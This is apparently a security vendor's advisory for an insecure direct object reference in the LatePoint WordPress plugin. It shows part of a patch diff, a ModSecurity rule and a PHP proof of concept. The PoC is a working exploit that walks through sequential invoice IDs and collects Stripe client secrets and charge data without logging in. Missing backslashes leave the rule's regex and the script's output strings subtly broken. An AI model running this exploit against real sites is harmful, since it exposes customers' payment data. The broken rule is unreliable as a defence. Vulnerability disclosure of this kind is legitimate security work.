 			'sureforms',
 			'suremails',
 			'surerank',
@@ -58,8 +62,7 @@
 			'wp-schema-pro',
 			'zipwp'
 		];
-
-
+
 		/**
 		 * This function will help to determine if provided slug is a valid bsf product or not,
 		 * This way we will maintain consistency through out all our products.
@@ -72,10 +75,10 @@
 			if ( empty( $slug ) || ! is_string( $slug ) ) {
 				return false;
 			}
-
+
 			return in_array( $slug, self::$bsf_product_slugs, true );
 		}
-
+
 		/**
 		 * This function updates value of referer and product in option
 		 * bsf_product_referer in form of key value pair as 'product' => 'referer'
@@ -86,36 +89,36 @@
 		 * @return void
 		 */
 		public static function update_referer( $referer, $product ) {
-
+
 			$slugs       = [
 				'referer' => $referer,
 				'product' => $product,
 			];
 			$error_count = 0;
-
+
 			foreach ( $slugs as $type => $slug ) {
 				if ( ! self::is_valid_bsf_product_slug( $slug ) ) {
 					error_log( sprintf( 'Invalid %1$s slug provided "%2$s", does not match bsf_product_slugs', $type, $slug ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 					$error_count++;
 				}
 			}
-
+
 			if ( $error_count > 0 ) {
 				return;
 			}
-
+
 			$slugs = array_map( 'sanitize_text_field', $slugs );
-
+
 			$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
 			if ( ! is_array( $bsf_product_referers ) ) {
 				$bsf_product_referers = [];
 			}
-
+
 			$bsf_product_referers[ $slugs['product'] ] = $slugs['referer'];
-
+
 			update_option( BSF_UTM_ANALYTICS_REFERER, $bsf_product_referers );
 		}
-
+
 		/**
 		 * This function will  add utm_args to pro link or purchase link
 		 * added utm_source by default additional utm_args such as utm_medium etc can be provided to generate location specific links
@@ -127,41 +130,39 @@
 		 * @return string
 		 */
 		public static function get_utm_ready_link( $link, $product, $utm_args = [] ) {
-
+
 			if ( false === wp_http_validate_url( $link ) ) {
 				error_log( 'Invalid url passed to get_utm_ready_link function' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 				return $link;
 			}
-
+
 			if ( empty( $product ) || ! is_string( $product ) || ! self::is_valid_bsf_product_slug( $product ) ) {
 				error_log( sprintf( 'Invalid product slug provided "%1$s", does not match bsf_product_slugs', $product ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 				return $link;
 			}
-
+
 			$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
-
+
 			if ( ! is_array( $bsf_product_referers ) || empty( $bsf_product_referers[ $product ] ) ) {
 				return $link;
 			}
-
+
 			if ( ! self::is_valid_bsf_product_slug( $bsf_product_referers[ $product ] ) ) {
 				return $link;
 			}
-
+
 			if ( ! is_array( $utm_args ) ) {
 				$utm_args = [];
 			}
-
+
 			$utm_args['utm_source'] = $bsf_product_referers[ $product ];
-
+
 			$link = add_query_arg(
 				$utm_args,
 				$link
 			);
-
+
 			return $link;
 		}
 	}
 }
-
-
--- a/latepoint/lib/views/customer_cabinet/_booking_tile.php
+++ b/latepoint/lib/views/customer_cabinet/_booking_tile.php
@@ -37,7 +37,7 @@
 				   data-os-prompt="<?php esc_attr_e('Are you sure you want to cancel this appointment?', 'latepoint'); ?>"
 					   data-os-success-action="reload"
 					   data-os-action="<?php echo esc_attr(OsRouterHelper::build_route_name('customer_cabinet', 'request_cancellation')); ?>"
-					   data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id])); ?>"
+					   data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id], 'cancel_booking_' . $booking->id)); ?>"
 					<i class="latepoint-icon latepoint-icon-ui-24"></i>
 					<span><?php esc_html_e('Cancel', 'latepoint'); ?></span>
 				</a>
--- a/latepoint/lib/views/settings/general.php
+++ b/latepoint/lib/views/settings/general.php
@@ -526,13 +526,13 @@

                 <div class="sub-section-row">
                     <div class="sub-section-label">
-                        <h3><?php esc_html_e( 'Contribute', 'latepoint' ) ?></h3>
+                        <h3><?php esc_html_e( 'Improve LatePoint', 'latepoint' ) ?></h3>
                     </div>
                     <div class="sub-section-content">
                         <div class="os-row">
                             <div class="os-col-lg-12">
 								<?php
-                                    $ctl_sub_label = __( 'Collect non-sensitive information from your website, such as the PHP version and features used, to help us fix bugs faster, make smarter decisions, and build features that actually matter to you. %1$sLearn More%2$s', 'latepoint' );
+                                    $ctl_sub_label = __( 'Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions. %1$sLearn More%2$s', 'latepoint' );

                                     $ctl_sub_label = sprintf(
                                         $ctl_sub_label,
@@ -543,7 +543,7 @@
                                     $ctl_option_value = get_option( 'latepoint_usage_optin', 'no' );
                                     $ctl_is_active = $ctl_option_value === 'yes' ? true : false;

-                                    echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Contribute to LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
+                                    echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Help shape the future of LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
                             </div>
                         </div>
                     </div>
--- a/latepoint/lib/views/wizard/setup.php
+++ b/latepoint/lib/views/wizard/setup.php
@@ -4,7 +4,7 @@
 }
 ?>
 <div class="os-wizard-setup-w step-<?php echo esc_attr($current_step_code); ?>">
-	<a href="<?php echo esc_url(OsRouterHelper::build_link(OsRouterHelper::build_route_name('dashboard', 'index'))); ?>" class="os-wizard-close-trigger"><span><?php esc_html_e('Skip setup', 'latepoint'); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
+	<a href="#" data-route-name="<?php echo esc_attr( OsRouterHelper::build_route_name( 'wizard', 'skip_setup' ) ); ?>" class="os-wizard-close-trigger os-wizard-skip-btn"><span><?php esc_html_e( 'Skip setup', 'latepoint' ); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
 	<div class="os-wizard-setup-i">
 		<div class="os-wizard-step-content-w">
 			<div class="os-wizard-step-content">
--- a/latepoint/lib/views/wizard/steps/_personal_info.php
+++ b/latepoint/lib/views/wizard/steps/_personal_info.php
@@ -28,9 +28,17 @@
             </div>
             <div class="os-row">
                 <div class="os-col-12">
-                    <?php echo OsFormHelper::checkbox_field( 'personal_info[email_optin]', __( 'Get notified about updates, tips and new features from LatePoint.', 'latepoint' ), 'on', $wizard_email_optin === 'on' ); ?>
+                    <?php
+						echo OsFormHelper::checkbox_field(
+							'personal_info[email_optin]',
+							// translators: %1$s and %2$s are opening and closing anchor tags for Privacy Policy link
+							sprintf( __( 'Stay in the loop and help shape LatePoint! Get feature updates, and help us build a better LatePoint by sharing how you use the plugin. %1$sPrivacy Policy%2$s', 'latepoint' ), '<a href="https://latepoint.com/privacy-policy/" target="_blank">', '</a>' ),
+							'on',
+							$wizard_email_optin === 'on'
+						);
+					?>
                 </div>
             </div>
         </form>
     </div>
-</div>
 No newline at end of file
+</div>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20265234,phase:2,deny,status:403,chain,msg:'CVE-2026-5234 LatePoint IDOR via Stripe Connect AJAX',severity:'CRITICAL',tag:'CVE-2026-5234',tag:'LatePoint',tag:'IDOR'"
  SecRule ARGS_POST:action "@streq latepoint_stripe_connect_create_payment_intent_for_transaction" "chain"
    SecRule ARGS_POST:invoice_id "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5234 - LatePoint <= 5.3.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Financial Data Exposure via Sequential Invoice ID

<?php

$target_url = "https://example.com/wp-admin/admin-ajax.php";

// Function to test a specific invoice ID
function test_invoice_id($invoice_id) {
    global $target_url;
    
    $post_data = array(
        'action' => 'latepoint_stripe_connect_create_payment_intent_for_transaction',
        'invoice_id' => $invoice_id
    );
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Parse JSON response
    $json_response = json_decode($response, true);
    
    if ($json_response && isset($json_response['status'])) {
        if ($json_response['status'] == 'success') {
            echo "[+] FOUND VALID INVOICE ID: $invoice_idn";
            echo "    Payment Intent ID: " . ($json_response['payment_intent_id'] ?? 'N/A') . "n";
            echo "    Client Secret: " . ($json_response['payment_intent_secret'] ?? 'N/A') . "n";
            echo "    Transaction Intent Key: " . ($json_response['transaction_intent_key'] ?? 'N/A') . "n";
            echo "    Charge Amount: " . ($json_response['charge_amount'] ?? 'N/A') . "n";
            return true;
        } elseif ($json_response['status'] == 'error' && strpos($json_response['message'] ?? '', 'Invoice not found') !== false) {
            echo "[-] Invalid invoice ID: $invoice_idn";
            return false;
        }
    }
    
    echo "[?] Unexpected response for invoice ID $invoice_id (HTTP $http_code)n";
    return null;
}

// Main exploitation routine
echo "Atomic Edge CVE-2026-5234 PoC - LatePoint Invoice IDORn";
echo "Target: $target_urlnn";

// Test sequential invoice IDs (common range)
$found_ids = array();
for ($i = 1; $i <= 100; $i++) {
    $result = test_invoice_id($i);
    if ($result === true) {
        $found_ids[] = $i;
    }
    // Small delay to avoid rate limiting
    usleep(100000);
}

if (count($found_ids) > 0) {
    echo "n[+] Found " . count($found_ids) . " valid invoice IDs: " . implode(', ', $found_ids) . "n";
    echo "[+] Vulnerability confirmed - unauthenticated access to financial datan";
} else {
    echo "n[-] No valid invoice IDs found in tested rangen";
    echo "[-] Site may be patched or have no invoices in tested rangen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School